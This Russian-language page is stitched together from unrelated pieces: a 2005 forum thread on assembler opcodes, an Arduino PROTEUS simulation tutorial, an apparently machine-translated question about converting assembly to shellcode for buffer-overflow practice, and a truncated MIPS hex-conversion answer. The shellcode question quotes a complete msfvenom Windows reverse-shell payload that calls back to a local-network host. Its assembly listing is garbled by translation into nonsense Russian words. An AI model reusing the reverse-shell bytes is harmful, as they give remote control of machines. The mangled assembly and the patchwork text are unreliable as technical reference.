Соответствия команд ASM
← →
ArtemESC
(2005-08-20 20:52) [0]
Доброго времени суток!!!
Где можно найти связь команд Assembler»a c
HEX — строками, которые в PE — файлах
используются? Я имею в виду ссылочку…
← →
KilkennyCat ©
(2005-08-20 21:16) [1]
Можно и самому сгенерировать
← →
ArtemESC
(2005-08-20 21:29) [2]
>>Можно и самому сгенерировать
Не понял ?? Зачем??
← →
[email protected] ©
(2005-08-20 21:50) [3]
>>ArtemESC (20. 08.05 20:52)
Ну, например, здесь:
http://developer.intel.com/design/pentium4/manuals/index_new.htm
← →
ArtemESC
(2005-08-20 23:54) [4]
>>[email protected]
Здесь что-то не то!!!
← →
alpet ©
(2005-08-21 00:44) [5]
Не понятен вопрос. Если тебе нужен дизассемблер — их выбор велик, практически в каждый нормальный отладчик встроен. Самый оптимальный и заточенный под реверсирование кода — IDA Pro. Как самому написать дизассемблер — надо изучить структуру машинной команды процессора, и используя справочник (например Юрова «Assembler. Специальный справочник») по кодам операций написать алгоритм (хотя их и в исходных кодах можно найти не мало). И на будущее — в PE файлах, равно как и в других, код содержится не в «HEX строках», а в двоичном коде (т.
← →
Defunct ©
(2005-08-21 02:44) [6]
alpet © (21.08.05 00:44) [5]
Вопрос как раз понятен, и ответ был дан в [1].
Пишем файл-пустышку в который включаем все инструкции для p4 (по приведенной ссылке [3]). транслируем tasm <файл пустышка> -l, открываем листинг и наблюдаем листинг в котором как раз и будет соответствие асм команд — hex строкам.
← →
Defunct ©
(
> ArtemESC (20. 08.05 21:29) [2]
>>Можно и самому сгенерировать
> Не понял ?? Зачем??
Ты как раз и должен ответить на этот вопрос, т.к. тебе это понадобилось. В документации же нет такого соответствия как тебе потребовалось, там дан только алгоритм формирования команд для трансляторов с полями (КОП)(r/m) и т.п., т.е. в совершенно непригожий для hex восприятия.
← →
ArtemESC
(
>всем
Я имею ввиду перевод команд асма в «машинный код».
Например MOV — B9 и.т.д
← →
Anatoly Podgoretsky ©
(2005-08-21 12:43) [9]
А ты сходил по ссылке в 4?
← →
ArtemESC
(2005-08-21 13:57) [10]
>>Anatoly Podgoretsky
Нет там ничего!!!
Неужели не у кого не найдется ссылочки?
Очень нужно.
← →
Anatoly Podgoretsky ©
(2005-08-21 14:03) [11]
Да ты что, это первичный источник, остальные опираются на него.
← →
alpet ©
(2005-08-21 14:16) [12]
Вот документация по оптимизации для AMD-K6:
http://alpet.hotmail.ru/amdk6/amdopt.html
В где-то середине, большая таблица соответствия кодов операций и ассемблерных команд. Все же рекомендую разобраться для начала со структурой машинной команды, побитно. Это достаточно доступно описано в http://shop.piter.com/book/978546900003/. Но чтобы написать самому ассемблер — нужно имхо некоторый опыт иметь. Лучше скачай исходные коды например Fasm и поизучай их.
← →
DrPass ©
(2005-08-21 14:16) [13]
> ArtemESC (21. 08.05 13:57) [10]
Нажми ссылку на Instruction Set Reference 🙂
← →
ArtemESC
(
>>alpet ©
Кажется это то, что мне надо..
← →
ArtemESC
(2005-08-21 14:59) [15]
>>alpet ©
У меня тут возник вопрос, http://alpet.hotmail.ru/amdk6/amdopt.html,
там кажется про AMD, аналогичны ли они
Intel-овским?
← →
Eraser ©
(2005-08-21 15:28) [16]
ArtemESC
Если нужен лёгкий способ, то http://www.xakep.ru/magazine/xa/078/114/1.asp
← →
DrPass ©
(2005-08-21 15:41) [17]
> там кажется про AMD, аналогичны ли они
> Intel-овским?
Может ли программа, написанная для процессора AMD, быть выполнена процессором Intel, и наоборот?
← →
ArtemESC
(2005-08-21 16:02) [18]
>>DrPass ©
>>Может ли программа, написанная для процессора AMD, быть >>выполнена процессором Intel, и наоборот?
Вообще-то может. ..
← →
alpet ©
(2005-08-21 19:54) [19]
ArtemESC (21.08.05 14:59) [15]
Расширения процессов в разных моделях не поддерживаются. Например процессоры Intel не работают с командами 3DNow.
Arduino/CraftDuino и PROTEUS – RoboCraft
Лично мне, в Arduino IDE очень не хватает отладчика – с этим обязательно нужно что-нибудь сделать 🙂
Но ведь уже существуют пакеты для разработки электронных устройств от схемы до печатной платы.
Например, замечательная программа – ISIS PROTEUS:
— PROTEUS может симулировать несколько МК в одном устройстве (AVR, PIC, Motorola, ARM)
— в поставку PROTEUS входит очень много моделей компонентов.
— можно симулировать любые электронные устройства и не содержащие МК
Т.о. если нужно проверить какую-нибудь идею или вариант реализации – можно не искать детали, а просто «собрать» схему в PROTEUS-е и посмотреть как она будет работать 🙂
Симуляция PROTEUS-а очень реалистична — наглядно видна работа устройства,
напряжения и токи в нем.
Причём PROTEUS — это полная система проектирования — от идеи — до результатов работы устройства и файлов для платы.
Как всегда – об этой системе можно почитать ДиХальта.
Итак, попробуем смоделировать Arduino 🙂
Простейший вариант Arduino/CraftDuino представлен на рисунке выше 🙂
Да – никаких источников питания и стабилизаторов – просто микроконтроллер и светодиод, который подключён к 19 ножке МК, она же 5-й вывод порта B – она же, согласно Arduino Pin Mapping – digital pin 13 🙂
Можно чуть усложнить схему, подключив виртуальный терминал:
— теперь мы сможем видеть данные, которые наша виртуальная ардуина шлёт в последовательный порт 🙂
Если на компоненте дважды щёлкнуть левой кнопкой мышки, то появится окошко, в котором можно установить различные параметры.
Например, для микроконтроллера:
Чтобы загрузить в микроконтроллер программу – через поле “Program File” –указываем путь к .hex-файлу.
Укажем МК частоту 16MHz и загрузим стандартный Blink.
Запускаем симуляцию и видим, как меняется напряжение на светодиоде:
Для наглядности – можно в библиотеке компонентов выбрать светодиод с анимацией:
Теперь можно проверить работу других обучающих скетчей.
Например, светодиод с кнопкой:
— добавляем нужные элементы, загружаем в виртуальный МК .hex со скетчем и вуаля:
Кнопка не нажата:
Нажмём кнопку – и виртуальный светодиод загорается 🙂
Посмотрим – как работает виртуальный терминал; загрузим в МК скетч Blink_HL
Работает! Сообщения терминала отображаются в маленьком окошке 🙂
А осциллограф? Грузим в МК скетч шестиканалоного осциллографа 🙂
Хм… какой-то мусор… ааа я забыл изменить скорость COM-порта!
Дважды щёлкаем на терминале и устанавливаем скорость (Baud Rate) в 38400
Теперь всё работает!
Только симуляция не учитывает наводки, которые были в реальной схеме – поэтому тут одни нули 🙂
Теперь можно запускать свои скетчи вдали от Arduino, используя всю мощь симуляции PROTEUS-а (от виртуальных инструментов до отладки)!
UPD
Проект Протеуса + hex скетча осциллографа
Ссылки
Система моделирования ISIS Proteus. Быстрый старт.
x86 — как мне преобразовать мой код сборки в исполняемый шестнадцатеричный код?
дело в том, что я тренируюсь на баге с переполнением буфера, и я дошел до того, что просто ввожу что-то в память, но проблема в том, что у меня очень мало места в ESP для работы с таким Я сделал простой «hello world» на ассемблере:
Ассемблерный код (простой hello world)
global _start ;;;;;только 64бит _Начало: короткая строка jmp код: поп рси ксор ракс, ракс мов ал, 1 мов рди, ракс мов РДХ, РДИ добавить rdx, 14 системный вызов ксор ракс, ракс добавить ракс, 60 xor рди, рди системный вызов нить: код вызова db 'Привет, мир!', 0x0A
это было написано в Nasm
Я впервые обнаружил это при создании полезной нагрузки msfvenom, есть возможность указать язык шеллкода (я указал C), затем он генерирует шестнадцатеричный исполняемый код, который вы можете просто ввести в памяти и просто запустите его.
Шестнадцатеричный код (исполняемый шестнадцатеричный код для обратной оболочки)
unsigned char buf[] = \xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30 \x8b\x52\x0c\x8b\x52\x14\x89\xe5\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c \x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50 \x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7 \x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c \x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9 \x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0 \xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x66\x68\x02\x00\ x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\ x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\ x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\ x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\ x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\ x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5;
, но когда я попытался сделать это сам, я обнаружил, что мне нужно написать программу на ассемблере, а затем преобразовать ее в шестнадцатеричный исполняемый код, что я искал способ сделать это в течение недели, но ничего.
Что я пробовал
Я пытался преобразовать инструкции по сборке одну за другой, а затем добавить аргументы (также преобразованные в шестнадцатеричный формат), что, очевидно, не сработало.
——
этот ассемблерный код работает: ./nasm.exe -fwin64 shellcode.asm
но не с: ./nasm.exe -fwin32 shellcode.asm
Я думаю, что это несовместимо с 32-битной версией.
, а также при выполнении: ./nasm.exe -felf64 shellcode.asm -o shellcode.o
затем: ld -s -o шеллкод шеллкод.o
это говорит о нераспознанном формате файла shellcode.o
hex — Преобразование сборки в шестнадцатеричный формат. Как сделать это шаг за шагом?
спросил
Изменено 3 года, 2 месяца назад
Просмотрено 6к раз
У меня такой вопрос:
Укажите тип и шестнадцатеричное представление следующей инструкции: sw $t1, 32($t2)
Итак, у меня есть это в двоичном виде:
101011 01010 01001 0000 0000 0010 0000
43 10 9 32
43 — код операции для слова сохранения и .
10 — код регистра для $t2
9 — код регистра для $t1.
32 — это адрес
. Но как преобразовать его в шестнадцатеричный?
- в сборе
- шестигранник
4
Насколько я понимаю, вы используете архитектуру MIPS32. Инструкции производят двоичный вывод, который вы написали, но ваше десятичное представление вывода неверно. Если первые восемь бит дают 32, что является точным, то следующие восемь бит не могут дать 9.. И в некоторых областях вы сгруппировали пять битов вместо четырех. Поэтому первым шагом будет их правильная группировка.
1010 1101 0100 1001 0000 0000 0010 0000
Теперь первые восемь битов производят 32.
Следующие восемь битов производят 0,
. Следующие восемь битов производят 73.
, а последние восемь — 173.
. Теперь вам просто нужно шестнадцатеричное представление каждого десятичного значения.
32 в шестнадцатеричном формате равно 20.